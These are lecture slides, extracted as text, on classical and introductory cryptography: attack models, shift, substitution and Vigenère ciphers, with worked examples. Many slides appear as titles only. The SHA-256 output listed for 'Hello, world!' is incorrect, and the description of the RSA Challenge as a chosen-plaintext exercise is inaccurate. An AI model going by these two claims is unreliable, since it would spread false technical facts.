CIS 4520
Introduction to Cryptanalysis: Chosen Plaintext Attacks
Cryptography
Wenjing Zhang
• Concept:
– Attackers can proactively choose arbitrary plaintexts and
obtain their corresponding ciphertexts.
• Objective:
– Examine how chosen patterns in plaintext translate to
ciphertext.
• Strategies:
– Detect linear or nonlinear relationships in encryption.
– Discover collisions to infer key or algorithm details.
– Actively engage with the encryption system to test
hypotheses about how the system encrypts messages.
• Key Point:
– Actively probe the encryption process, uncovering
deeper insights into its mechanism.
18
CIS 4520
Introduction to KPAs vs. CPAs
Cryptography
Wenjing Zhang
• Ciphertext Only Attacks
– Historical: Allied codebreakers cracked the German
Enigma machine during WWII through pattern analysis
and cryptanalytic techniques.
– Contemporary: Modern brute force attacks attempt to
decrypt by trying every possible key, countered by using
longer key lengths.
• Known Plaintext Attacks
– Cold War Espionage: Intelligence agencies used known
plaintext to decrypt messages when they had access to
both encrypted and decrypted content.
• Chosen Plaintext Attacks
– RSA Challenge: Researchers use chosen plaintexts to
attempt to factor RSA public keys in contests designed
to test cryptographic strength.
20
CIS 4520
Introduction to Cryptography and Cryptanalysis
Cryptography
21
CIS 4520
Introduction to Cryptography and Cryptanalysis
Cryptography
• Definition of Security
Wenjing Zhang
22
CIS 4520
Introduction to Cryptography and Cryptanalysis
Cryptography
• Brute-Force Attack
Wenjing Zhang
23
CIS 4520
Introduction to Cryptosystems
Cryptography
24
CIS 4520
Introduction to Cryptosystems
Cryptography
25
CIS 4520
Introduction to Cryptosystems
Cryptography
Kpub K
pri
27
CIS 4520
Introduction to Cryptosystems
Cryptography
• Example
– RSA (Rivest–Shamir–Adleman)
– RSA secures data transmission over the
internet, including web browsing and email,
and protects online transactions like credit card
purchases.
28
CIS 4520
Introduction to Cryptosystems
Cryptography
• Cryptographic hash
Wenjing Zhang
29
CIS 4520
Introduction to Cryptosystems
Cryptography
256)
– SHA-256 hash functions are used in security
protocols such as TLS and SSL, PGP, SSH,
and IPsec, as well as in blockchain, to validate
data integrity and authenticity.
• Input: "Hello, world!“
• SHA-256 Output:
"a591a6d40bf420404a011733cfb7b190d62c65bf0bc
da32b57b277d9ad9f146e“
• It produces a 256-bit hash value, typically
represented as a 64-digit hexadecimal number.
30
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
Elementary Cryptography
32
CIS 4520
Introduction to Caesar Cipher
Cryptography
• Quiz
Wenjing Zhang
33
CIS 4520
Introduction to Caesar Cipher
Cryptography
• Formal definition
Wenjing Zhang
– Encryption:
EK(m) = m + 3 mod 26
– Decryption:
DK(c) = c – 3 mod 26
34
CIS 4520
Introduction to Shift Cipher
Cryptography
cipher
• Shift cipher
– Encryption:
EK(m) = m + K mod 26
– Decryption:
DK(c) = c – K mod 26
plaintext: abcdefghijklmnopqrstuvwxyz
ciphertext: pqrstuvwxyzabcdefghijklmno
35
CIS 4520
Introduction to Shift Cipher
Cryptography
36
CIS 4520
Introduction to Shift Cipher
Cryptography
37
CIS 4520
Introduction to Substitution cipher
Cryptography
cipher
• Substitution cipher is to substitute one
thing for another
– Monoalphabetic cipher: substitute one letter
for another
– Key: the mapping from the set of 26 letters to
the set of 26 letters
38
CIS 4520
Introduction to Substitution cipher
Cryptography
ciphertext: mnbvcxzasdfghjklpoiuytrewq
39
CIS 4520
Introduction to Substitution cipher
Cryptography
Enc:
Dec:
40
CIS 4520
Introduction to Substitution cipher
Cryptography
41
CIS 4520
Introduction to Substitution cipher
Cryptography
• Frequency analysis
– In English
easy!
– Cryptanalysts use properties of plaintext
• Leak Frequency!
• Encryption is deterministic (e.g., a always
outputs X)
Enc:
Dec:
c a n a d a
Y X S X A X
43
CIS 4520
Introduction to Substitution cipher
Cryptography
• Frequency analysis
44
CIS 4520
Introduction to Substitution cipher
Cryptography
46
CIS 4520
Introduction to Substitution cipher
Cryptography
47
CIS 4520
Introduction to Substitution cipher
Cryptography
48
CIS 4520
Introduction to Substitution cipher
Cryptography
49
CIS 4520
Introduction to Substitution cipher
Cryptography
50
CIS 4520
Introduction to Substitution cipher
Cryptography
51
CIS 4520
Introduction to Substitution cipher
Cryptography
52
CIS 4520
Introduction to Substitution cipher
Cryptography
53
CIS 4520
Introduction to Substitution cipher
Cryptography
54
CIS 4520
Introduction to Substitution cipher
Cryptography
55
CIS 4520
Introduction to Cryptanalysis: Frequency Leakage
Cryptography
known.
56
CIS 4520
Introduction to Cryptanalysis: Frequency Leakage
Cryptography
57
CIS 4520
Introduction to Cryptanalysis: Frequency Leakage
Cryptography
Wenjing Zhang
• Practice: frequency of char X is around 10%,
could be e(12.7%), t(9.1%), a(8.2%)
58
CIS 4520
Introduction to Cryptanalysis: Frequency Leakage
Cryptography
Wenjing Zhang
• Practice: frequency of char F is around 7%,
could be a(8.2%), i(7.0%), n(6.7%), s(6.3%)
59
CIS 4520
Introduction to Cryptanalysis: Frequency Leakage
Cryptography
Wenjing Zhang
• Quiz: Given X (7.3%), Y (6.3%), Z(6.9%)
• Question: What is the message of XYZX?
60
CIS 4520
Introduction to Cryptanalysis: Frequency Leakage
Cryptography
Wenjing Zhang
Wenjing Zhang
62
CIS 4520
Introduction to Recap: Substitution Cipher
Cryptography
Wenjing Zhang
63
CIS 4520
Introduction to Limitations
Cryptography
64
CIS 4520
Introduction to Substitution cipher
Cryptography
easy!
– Cryptanalysts use properties of plaintext
– What can be cryptographers’ counter-moves?
– Polyalphabetic ciphers
• use multiple alphabets
– Homophonic ciphers
• multiple possible output characters for an
input character
– Polygram ciphers
• encipher groups of letters at once
65
CIS 4520
Introduction to Vigenere Cipher
Cryptography
66
CIS 4520
Introduction to Vigenere Tableau
Cryptography
Wenjing Zhang 0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
1 B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
2 C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
3 D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
4 E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
5 F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
6 G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
7 H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
8 I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
9 J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
10 K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
11 L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
12 M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
13 N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
14 O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
15 P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
16 Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
17 R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
18 S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
19 T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
20 U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
21 V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
22 W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
23 X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
24 Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
25 Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
67
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “school” with K={5, 19, 7, 11, 21}
• Letter 1: S → X
0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
1 B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
2 C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
3 D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
4 E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
5 F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
6 G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
7 H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
8 I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
9 J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
10 K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
11 L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
12 M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
13 N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
14 O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
15 P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
16 Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
17 R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
18 S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
19 T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
20 U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
21 V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
22 W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
23 X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
24 Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
25 Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
69
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “school” with K={5, 19, 7, 11, 21}
• X
• Letter 2: C → V
0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
1 B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
2 C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
3 D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
4 E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
5 F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
6 G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
7 H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
8 I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
9 J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
10 K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
11 L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
12 M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
13 N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
14 O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
15 P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
16 Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
17 R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
18 S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
19 T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
20 U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
21 V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
22 W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
23 X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
24 Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
25 Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
70
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “school” with K={5, 19, 7, 11, 21}
• XV
• Letter 3: H → O
0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
1 B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
2 C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
3 D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
4 E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
5 F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
6 G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
7 H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
8 I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
9 J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
10 K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
11 L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
12 M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
13 N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
14 O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
15 P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
16 Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
17 R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
18 S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
19 T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
20 U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
21 V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
22 W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
23 X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
24 Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
25 Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
71
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “school” with K={5, 19, 7, 11, 21}
• XVO
• Letter 4: O → Z
0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
1 B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
2 C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
3 D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
4 E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
5 F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
6 G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
7 H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
8 I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
9 J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
10 K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
11 L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
12 M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
13 N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
14 O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
15 P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
16 Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
17 R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
18 S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
19 T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
20 U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
21 V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
22 W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
23 X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
24 Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
25 Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
72
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “school” with K={5, 19, 7, 11, 21}
• XVOZ
• Letter 5: O → J
0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
1 B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
2 C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
3 D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
4 E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
5 F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
6 G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
7 H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
8 I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
9 J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
10 K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
11 L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
12 M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
13 N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
14 O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
15 P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
16 Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
17 R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
18 S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
19 T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
20 U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
21 V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
22 W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
23 X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
24 Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
25 Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
73
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Rows: letters, not numbers
• Key: a phrase
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
74
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “JAYHAWK” with the phrase “EECS”
• N
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
75
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “JAYHAWK” with “EECS”
• NE
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
76
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “JAYHAWK” with “EECS”
• NEA
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
77
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “JAYHAWK” with “EECS”
• NEAZ
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
78
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “JAYHAWK” with “EECS”
• NEAZE
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
79
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “JAYHAWK” with “EECS”
• NEAZEA
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
80
CIS 4520
Introduction to Vigenere Cipher
Cryptography
Wenjing Zhang
• Encrypt “JAYHAWK” with “EECS”
• NEAZEAM
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
